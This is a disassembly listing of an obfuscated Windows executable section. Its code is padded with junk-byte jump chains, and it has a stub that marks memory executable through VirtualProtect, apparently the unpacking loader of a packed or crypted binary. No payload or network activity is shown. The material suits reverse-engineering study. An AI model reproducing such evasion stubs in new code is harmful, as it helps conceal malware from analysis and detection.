[eax+28h], ebp loc_46D35B: ; CODE XREF: DMN1:0046D352j xchg edx, esi jmp short loc_46D37E ; --------------------------------------------------------------------------- align 10h dd 2536F12Bh, 2103A18h, 7AE5AEE6h, 1CA3BA07h, 0BEBCF0EFh dd 0CD7CD1E9h, 7CE1F45Dh ; --------------------------------------------------------------------------- db 64h dec ebp loc_46D37E: ; CODE XREF: DMN1:0046D35Dj jmp short loc_46D382 ; --------------------------------------------------------------------------- db 7Ch, 76h ; --------------------------------------------------------------------------- loc_46D382: ; CODE XREF: DMN1:loc_46D37Ej xchg edi, [esp] jmp short loc_46D3A4 ; --------------------------------------------------------------------------- db 0Ch dd 0A63E9C32h, 0D136FFFDh, 0A6530474h, 690655E2h, 41FC49Ah dd 7A4D33ECh, 472CEEh ; --------------------------------------------------------------------------- loc_46D3A4: ; CODE XREF: DMN1:0046D385j jmp short loc_46D3A7 ; --------------------------------------------------------------------------- cwde loc_46D3A7: ; CODE XREF: DMN1:loc_46D3A4j cmc jmp short loc_46D3BB ; --------------------------------------------------------------------------- dw 0EF2Dh dd 0C712E51h, 1254F898h, 303F8A31h ; --------------------------------------------------------------------------- scasb fdivr qword ptr [edx] loc_46D3BB: ; CODE XREF: DMN1:0046D3A8j xchg eax, edi inc edi xchg edi, edx jmp short loc_46D3C4 ; --------------------------------------------------------------------------- dw 6429h ; --------------------------------------------------------------------------- loc_46D3C4: ; CODE XREF: DMN1:0046D3C0j jmp short loc_46D3E2 ; --------------------------------------------------------------------------- dw 0C56Fh dd 0CFD81D32h, 5F74DACAh, 67EFD342h, 0B099AB98h, 9414C0DEh dd 8ED9DA6Ah db 0F4h, 60h ; --------------------------------------------------------------------------- loc_46D3E2: ; CODE XREF: DMN1:loc_46D3C4j cld mov edx, ecx jmp short loc_46D3F0 ; --------------------------------------------------------------------------- db 0E2h dd 0FFBDC794h, 17A20A92h ; --------------------------------------------------------------------------- loc_46D3F0: ; CODE XREF: DMN1:0046D3E5j jmp short loc_46D3F7 ; --------------------------------------------------------------------------- dw 5821h db 0EDh, 4Ah, 82h ; --------------------------------------------------------------------------- loc_46D3F7: ; CODE XREF: DMN1:loc_46D3F0j jmp short loc_46D3FF ; --------------------------------------------------------------------------- db 0C6h, 2Ah, 85h db 0C6h, 0B7h, 6Fh ; --------------------------------------------------------------------------- loc_46D3FF: ; CODE XREF: DMN1:loc_46D3F7j bswap ebp add edx, ebx stc cmc jmp short loc_46D41B ; --------------------------------------------------------------------------- db 16h dd 0C4022577h, 25F5F349h, 5A57972Dh, 252290B1h db 0BBh, 9Dh, 0A8h ; --------------------------------------------------------------------------- loc_46D41B: ; CODE XREF: DMN1:0046D405j jmp short loc_46D431 ; --------------------------------------------------------------------------- db 4Ah, 0DDh, 87h dd 403E876Ah, 820A50C9h, 368300BCh, 0E0A4BC23h db 0D9h ; --------------------------------------------------------------------------- loc_46D431: ; CODE XREF: DMN1:loc_46D41Bj mov [edx], eax xor ebp, 1A8B2F63h jmp short loc_46D459 ; --------------------------------------------------------------------------- db 0E6h dd 82C9D45Ah, 0E3643916h, 0C6C06133h, 7E758AC3h, 1475D032h dd 0E68F60AAh, 57B4987Fh db 7Fh ; --------------------------------------------------------------------------- loc_46D459: ; CODE XREF: DMN1:0046D439j jmp short loc_46D46F ; --------------------------------------------------------------------------- db 9 dd 0A15F65AEh, 0B5BC7BF4h, 518C6720h, 82DD0A03h db 0B9h, 58h, 89h ; --------------------------------------------------------------------------- loc_46D46F: ; CODE XREF: DMN1:loc_46D459j jmp short loc_46D47E ; --------------------------------------------------------------------------- db 60h, 29h, 0B6h dd 6D65D72Fh, 4857B2Ch ; --------------------------------------------------------------------------- mov al, 8Bh loc_46D47E: ; CODE XREF: DMN1:loc_46D46Fj jmp short loc_46D485 ; --------------------------------------------------------------------------- dd 1A592F9Bh db 34h ; --------------------------------------------------------------------------- loc_46D485: ; CODE XREF: DMN1:loc_46D47Ej std inc ebx xchg esp, esp test eax, 0F8C8F8D2h inc ebx neg eax jmp short loc_46D4A2 ; --------------------------------------------------------------------------- push cs mov ch, 0EFh retf ; --------------------------------------------------------------------------- dd 468563C4h, 0F3153828h db 3Dh, 0D0h ; --------------------------------------------------------------------------- loc_46D4A2: ; CODE XREF: DMN1:0046D492j test ebp, 0F8B139CFh jmp short loc_46D4C2 ; --------------------------------------------------------------------------- dw 836Ah dd 0B371BFC9h, 1CBB5B25h, 0E3A0B0A2h, 0E92B71E3h, 27DF3DB4h ; --------------------------------------------------------------------------- fadd qword ptr [ebx] loc_46D4C2: ; CODE XREF: DMN1:0046D4A8j clc xchg esi, ecx jmp short loc_46D4D8 ; --------------------------------------------------------------------------- db 92h dd 0E978A8A3h, 65164A45h, 6FEF243h, 0C0341B50h ; --------------------------------------------------------------------------- loc_46D4D8: ; CODE XREF: DMN1:0046D4C5j xchg ebp, eax add ebx, 1 clc add edx, 0F37A4A2Ah jmp short loc_46D4F9 ; --------------------------------------------------------------------------- dw 7D78h dd 0B4556FCEh, 4F8D1C78h, 369F30F7h, 0EB364B27h db 29h ; --------------------------------------------------------------------------- loc_46D4F9: ; CODE XREF: DMN1:0046D4E4j add ebx, 1 xchg ebp, edx jmp short loc_46D516 ; --------------------------------------------------------------------------- dd 0CF1B8166h, 4885F49h, 96AC8A53h, 2BD11B6Bh, 1A4C7C7Ah db 39h, 4Ah ; --------------------------------------------------------------------------- loc_46D516: ; CODE XREF: DMN1:0046D4FEj std adc ecx, 0A439A34Bh jmp short loc_46D538 ; --------------------------------------------------------------------------- db 0D2h dd 0B42034A2h, 280A9F5Eh, 9B8D365Fh, 2B98BBE6h, 0F71E29B4h dd 9EE622Ch ; --------------------------------------------------------------------------- loc_46D538: ; CODE XREF: DMN1:0046D51Dj jmp short loc_46D544 ; --------------------------------------------------------------------------- dw 0C118h dd 45A36099h, 72DAD30Ah ; --------------------------------------------------------------------------- loc_46D544: ; CODE XREF: DMN1:loc_46D538j xchg esi, eax sub edi, 1 jz short loc_46D5B9 jmp short loc_46D566 ; --------------------------------------------------------------------------- db 6, 65h, 0D7h dd 24783FC8h, 835BE8Fh, 758729FDh, 3525E42Bh, 7FAEFD81h db 64h, 0D9h ; --------------------------------------------------------------------------- loc_46D566: ; CODE XREF: DMN1:0046D54Bj xchg esp, ebx stc xchg ecx, edi jmp short loc_46D56F ; --------------------------------------------------------------------------- db 35h, 88h ; --------------------------------------------------------------------------- loc_46D56F: ; CODE XREF: DMN1:0046D56Bj jmp short loc_46D57F ; --------------------------------------------------------------------------- db 82h, 9, 1Ah dd 0FC8C830Dh, 0A04142F9h db 0DFh, 0ACh, 0D2h ; --------------------------------------------------------------------------- loc_46D57F: ; CODE XREF: DMN1:loc_46D56Fj jmp short loc_46D584 ; --------------------------------------------------------------------------- db 8Fh, 0E9h, 3Fh ; --------------------------------------------------------------------------- loc_46D584: ; CODE XREF: DMN1:loc_46D57Fj test edx, 10487964h jmp short loc_46D596 ; --------------------------------------------------------------------------- dd 9534B1B7h, 18793CF2h db 59h, 23h ; --------------------------------------------------------------------------- loc_46D596: ; CODE XREF: DMN1:0046D58Aj xchg ebp, eax jmp short loc_46D59D ; --------------------------------------------------------------------------- dw 0A2B5h db 9 ; --------------------------------------------------------------------------- loc_46D59D: ; CODE XREF: DMN1:0046D598j jmp short loc_46D5B1 ; --------------------------------------------------------------------------- db 0CDh dd 3E155A60h, 0DB8D7011h, 96E2D013h, 2BD7D757h ; --------------------------------------------------------------------------- stosd loc_46D5B1: ; CODE XREF: DMN1:loc_46D59Dj cmc xchg edi, ebx jmp loc_46D045 ; --------------------------------------------------------------------------- loc_46D5B9: ; CODE XREF: DMN1:0046D549j xchg ebp, eax jmp short loc_46D5C0 ; --------------------------------------------------------------------------- db 5Bh, 0C5h, 41h ; --------------------------------------------------------------------------- loc_46D5C0: ; CODE XREF: DMN1:0046D5BBj jmp short loc_46D5DB ; --------------------------------------------------------------------------- dw 8121h dd 35D02E57h, 28019430h, 0DC97AA1Eh, 0B09BDA7Ch, 161F264Fh db 0FAh, 3Dh, 1Fh ; --------------------------------------------------------------------------- loc_46D5DB: ; CODE XREF: DMN1:loc_46D5C0j inc eax jmp short loc_46D5EF ; --------------------------------------------------------------------------- dw 6158h dd 71A2E6A7h, 84FDB205h, 25DC363Eh db 0BBh, 1Dh, 0CCh ; --------------------------------------------------------------------------- loc_46D5EF: ; CODE XREF: DMN1:0046D5DCj jmp short loc_46D604 ; --------------------------------------------------------------------------- db 0C4h, 40h, 0CEh dd 0B3E0F4F7h, 84BF1675h, 0D14E8535h, 6EFDF326h ; --------------------------------------------------------------------------- loc_46D604: ; CODE XREF: DMN1:loc_46D5EFj jmp short $+2 jmp short loc_46D620 ; --------------------------------------------------------------------------- dd 12915F3Dh, 0D2A8CE9h, 6F3A3766h, 0D5EC3023h, 47B286B3h dd 0A9DF8270h ; --------------------------------------------------------------------------- loc_46D620: ; CODE XREF: DMN1:0046D606j jmp short loc_46D625 ; --------------------------------------------------------------------------- dw 6EE1h ; --------------------------------------------------------------------------- cmc loc_46D625: ; CODE XREF: DMN1:loc_46D620j jmp short loc_46D645 ; --------------------------------------------------------------------------- db 0B3h dd 2EDE291Ch, 0A528A88Ah, 13360039h, 310C6BA5h, 7DC00528h dd 191D0913h, 622736C2h ; --------------------------------------------------------------------------- push edx loc_46D645: ; CODE XREF: DMN1:loc_46D625j not esi jmp short loc_46D65C ; --------------------------------------------------------------------------- db 0EAh, 7Dh, 0C7h ; --------------------------------------------------------------------------- xor bl, [ebx-191AD49Fh] pop ebp enter 0FFFFD128h, 7Bh jns short loc_46D670 push cs stosd daa loc_46D65C: ; CODE XREF: DMN1:0046D647j pop eax jmp short loc_46D674 ; --------------------------------------------------------------------------- db 0A6h ; db 80h ; db 35h ; 5 db 76h ; v db 8Dh ; db 0EFh ; db 95h ; db 0FFh db 7Dh ; } db 67h ; g db 0C3h ; dw 400Bh dd 0F28C08DDh ; --------------------------------------------------------------------------- loc_46D670: ; CODE XREF: DMN1:0046D657j pop ss lodsb mov dh, 0AAh loc_46D674: ; CODE XREF: DMN1:0046D65Dj jmp short loc_46D678 ; --------------------------------------------------------------------------- dw 9408h ; --------------------------------------------------------------------------- loc_46D678: ; CODE XREF: DMN1:loc_46D674j jmp short loc_46D699 ; --------------------------------------------------------------------------- dw 0ECFCh dd 0BECFD42Ah, 4B8526C3h, 8582B335h, 0FB0F7786h, 20AEB33Bh dd 0FEC6F403h, 8CC29F4h ; --------------------------------------------------------------------------- pop esi loc_46D699: ; CODE XREF: DMN1:loc_46D678j stc jmp short loc_46D6B5 ; --------------------------------------------------------------------------- dd 0BD4FF7A8h, 0B29AE80Ch, 8294E49Ch, 0B56FB4CBh, 4F4842FAh dd 0A558B3CAh db 35h ; --------------------------------------------------------------------------- loc_46D6B5: ; CODE XREF: DMN1:0046D69Aj jmp short loc_46D6B8 ; --------------------------------------------------------------------------- movsb loc_46D6B8: ; CODE XREF: DMN1:loc_46D6B5j jmp short loc_46D6C6 ; --------------------------------------------------------------------------- dw 9F24h dd 0E3061B57h, 679D2A9Eh db 61h, 0Ch ; --------------------------------------------------------------------------- loc_46D6C6: ; CODE XREF: DMN1:loc_46D6B8j or ecx, 19AF6EA8h jmp short loc_46D6D4 ; --------------------------------------------------------------------------- dw 6537h dd 7E28D900h ; --------------------------------------------------------------------------- loc_46D6D4: ; CODE XREF: DMN1:0046D6CCj jmp short loc_46D6F2 ; --------------------------------------------------------------------------- dw 318Ah dd 13B381FBh, 0E828AFE5h, 7A5CC89Fh, 97BCF04Bh, 0B481C9CFh dd 791BEC36h ; --------------------------------------------------------------------------- push esi inc ebp loc_46D6F2: ; CODE XREF: DMN1:loc_46D6D4j jmp short loc_46D70C ; --------------------------------------------------------------------------- dd 0BA5837F1h, 3838FB3Bh, 2B442C8Ah, 457AC5EFh, 0DA50C6Fh dd 9167A954h ; --------------------------------------------------------------------------- loc_46D70C: ; CODE XREF: DMN1:loc_46D6F2j jmp short loc_46D723 ; --------------------------------------------------------------------------- and ch, dl aas xor ds:213483C5h, bl retf 0FEE6h ; --------------------------------------------------------------------------- push ss retf ; --------------------------------------------------------------------------- dd 27F5964Eh db 35h, 4Fh, 11h ; --------------------------------------------------------------------------- loc_46D723: ; CODE XREF: DMN1:loc_46D70Cj jmp short $+2 jmp short loc_46D731 ; --------------------------------------------------------------------------- db 77h dd 1F80CF57h, 5F8E79C9h db 0Bh ; --------------------------------------------------------------------------- loc_46D731: ; CODE XREF: DMN1:0046D725j jmp short loc_46D73C ; --------------------------------------------------------------------------- icebp pop ecx cmp dword ptr [edi-2FF359C9h], 2 loc_46D73C: ; CODE XREF: DMN1:loc_46D731j jmp loc_46C9A6 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, [ebp+8] xor edx, 36170E35h xor edx, 2C0CDEDFh mov eax, 400000h add edx, eax add esp, 10h mov ebp, [esp-4] push edx pusha push 0 lea edx, [esp] push edx push 40h push 2C741h add dword ptr [esp], 1000h push eax add eax, 1000h add eax, 6D023h call dword ptr [eax] add esp, 4 popa retn ; =============== S U B R O U T I N E ======================================= public start start proc near mov eax, offset sub_407B60 jmp eax start endp ; --------------------------------------------------------------------------- dd 174ABA00h, 8B81352h, 56D6604h, 66447854h, 166C231h dd 7C2C1C2h, 0E850F1E2h, 0FFFFFF91h ; --------------------------------------------------------------------------- leave retn DMN1 ends ; Section 3. (virtual address 0006E000) ; Virtual size : 00000078 ( 120.) ; Section size in file : 00000078 ( 120.) ; Offset to raw data for section: 0006E000 ; Flags C0000060: Text Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write DMN2 segment para public 'DATA' use32 assume cs:DMN2 ;org 46E000h dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h dd 506C6175h, 65746F72h, 0DA007463h, 0D07C81CDh, 7C801Ah dd 6B000000h, 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0) dd 0FFFFFFFFh, 6E02Bh, 6E01Fh, 5 dup(0) dd 6D000h, 10h, 3754h, 3 dup(0) DMN2 ends ; Section 4. (virtual address 0006F000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0006E200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 46F000h align 2000h _idata2 ends end start